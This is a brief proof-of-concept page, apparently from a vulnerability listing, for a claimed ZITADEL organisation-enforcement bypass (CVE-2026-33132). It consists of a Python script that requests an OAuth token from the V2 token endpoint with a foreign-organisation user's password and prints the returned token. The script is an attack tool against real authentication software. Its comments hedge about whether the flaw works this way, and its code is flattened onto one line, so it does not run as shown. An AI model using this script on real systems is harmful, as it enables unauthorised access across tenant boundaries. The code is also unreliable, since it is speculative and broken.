CVE-2026-33132 ZITADEL组织强制执行绕过漏洞

# PoC Concept: Demonstrating the bypass via Login V2 endpoint import requests def test_org_bypass(target_url, client_id, username, password): # The application expects users to be in org_id:12345 # The scope usually enforces this, but validation is missing in V2 payload = { "grant_type": "password", "client_id": client_id, "username": username, "password": password, "scope": "openid profile email" # Scope might be processed but org check skipped } # Targeting the vulnerable Login V2 or OIDC API V2 endpoint endpoint = f"{target_url}/oauth/v2/token" response = requests.post(endpoint, data=payload) if response.status_code == 200 and "access_token" in response.json(): print("[+] Potential Bypass Successful: Token received.") print(f"[+] Token: {response.json().get('access_token')[:50]}...") else: print("[-] Login failed or blocked.") # Usage # test_org_bypass("https://zitadel.example.com", "app_client", "user_from_other_org", "password")